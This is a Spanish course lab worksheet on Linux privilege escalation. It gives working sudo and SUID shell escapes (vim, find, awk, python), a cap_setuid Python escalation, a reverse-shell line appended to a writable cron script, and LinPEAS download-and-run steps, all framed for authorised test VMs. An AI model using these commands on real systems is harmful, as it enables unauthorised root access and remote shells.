Lab 9.1: Escalada de Privilegios en Linux
Objetivos de Aprendizaje
Al finalizar este laboratorio, usted será capaz de:
- Enumerar un sistema Linux para encontrar vectores de escalada
- Explotar binarios SUID/SGID mal configurados
- Explotar sudo mal configurado
- Utilizar GTFOBins para explotación de binarios
- Explotar capabilities de Linux
- Explotar tareas cron mal aseguradas
- Utilizar LinPEAS para automatización
- Elevar de usuario estándar a root en pocos minutos
Duración Estimada
40 minutos
Prerrequisitos
- VM Linux (Ubuntu/Debian) o WSL
- Cuenta de usuario estándar
- Acceso a una cuenta con sudo (para configuración)
- Comprensión básica de Linux
Contexto Profesional
La escalada de privilegios en Linux es esencial en:
- Pruebas de penetración
- CTF y competiciones
- Auditoría de seguridad
- Ejercicios de Red Team
Utilizado después de:
- Explotación inicial (web shell, SSH comprometido)
- Para obtener root y control total
ADVERTENCIA ÉTICA Y LEGAL
Técnicas de escalada para obtener root sin autorización = Delito informático.
PERMITIDO:
- VM de pruebas
- Plataformas legales (TryHackMe, HackTheBox)
- Pruebas autorizadas
PROHIBIDO:
- Servidores reales sin permiso
- Escalada no autorizada
Parte 1: Enumeración en Linux
Comandos Esenciales
Información del sistema:
uname -a # Kernel version
cat /etc/os-release # Distribution
hostname # Nom machine
id # Votre UID/GID
whoami # Nom utilisateur
Permisos y sudo:
sudo -l # Commandes sudo autorisées
cat /etc/sudoers # Configuration sudo (si lisible)
Resultado típico de sudo -l:
User user1 may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/vim
CRÍTICO: ¡El usuario puede ejecutar vim como root sin contraseña!
Búsqueda de archivos SUID:
find / -perm -4000 2>/dev/null
Resultado:
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/find ← PELIGROSO SI MAL CONFIGURADO
/usr/bin/vim.basic ← MUY PELIGROSO
Preguntas:
- ¿Qué versión de kernel utiliza su sistema?
- ¿Qué comandos sudo puede ejecutar?
Parte 2: Explotación de Sudo
Sudo con NOPASSWD
Si sudo -l muestra:
(ALL) NOPASSWD: /usr/bin/vim
Explotación vía GTFOBins:
Visite: https://gtfobins.github.io/gtfobins/vim/
Payload:
sudo vim -c ':!/bin/bash'
O:
sudo vim
:set shell=/bin/bash
:shell
¡BOOM! ¡Shell root!
Verifique:
whoami
id
Resultado: root
¡De usuario a root en 10 segundos!
Otros Binarios Explotables
find:
sudo find /etc -exec /bin/bash \;
awk:
sudo awk 'BEGIN {system("/bin/bash")}'
less:
sudo less /etc/hosts
!bash
python:
sudo python -c 'import os; os.system("/bin/bash")'
Preguntas: 3. ¿Funcionó la explotación de sudo? 4. ¿Qué binario explotó?
Parte 3: Binarios SUID
Encontrar SUID Peligrosos
Búsqueda:
find / -perm -4000 2>/dev/null
Binarios SUID legítimos (normales):
- /usr/bin/passwd
- /usr/bin/sudo
- /usr/bin/su
Binarios SUID PELIGROSOS (si están presentes):
- /usr/bin/find
- /usr/bin/vim
- /usr/bin/python
- /usr/bin/bash
- /usr/bin/more
- /usr/bin/less
Si find es SUID:
/usr/bin/find /etc -exec /bin/bash -p \;
Opción -p: Preserva SUID (¡permanece como root!)
Preguntas: 5. ¿Qué binarios SUID encontró? 6. ¿Cuáles son explotables según GTFOBins?
Parte 4: Capabilities de Linux
Listar Capabilities
getcap -r / 2>/dev/null
Resultado típico:
/usr/bin/python3.8 = cap_setuid+ep
cap_setuid: ¡Permite cambiar el UID!
Explotación:
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
¡Root obtenido!
Preguntas: 7. ¿Hay binarios con capabilities peligrosas presentes?
Parte 5: Cron Jobs
Encontrar Cron Jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
Si el script de cron es editable:
echo "bash -i >& /dev/tcp/192.168.100.10/4444 0>&1" >> /path/to/cron_script.sh
Espere la ejecución: ¡Shell root!
Parte 6: Automatización con LinPEAS
Instalación
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
¡Escaneo completo automático!
Resultado:
- Todas las vulnerabilidades listadas
- Código de colores (rojo = crítico)
- Sugerencias de explotación
Entregables
- Informe con escalada exitosa de usuario a root
- Método utilizado (sudo, SUID, capabilities)
- Tiempo medido para la escalada
- Output completo de LinPEAS
Conclusión
Técnicas dominadas:
- Enumeración completa de Linux
- Explotación de sudo
- Explotación de SUID
- Capabilities
- Automatización con LinPEAS
Tiempo típico de escalada: ¡5-15 minutos con enumeración!
Laboratorio desarrollado en el marco del curso Sistemas Operativos - MÓDULO 9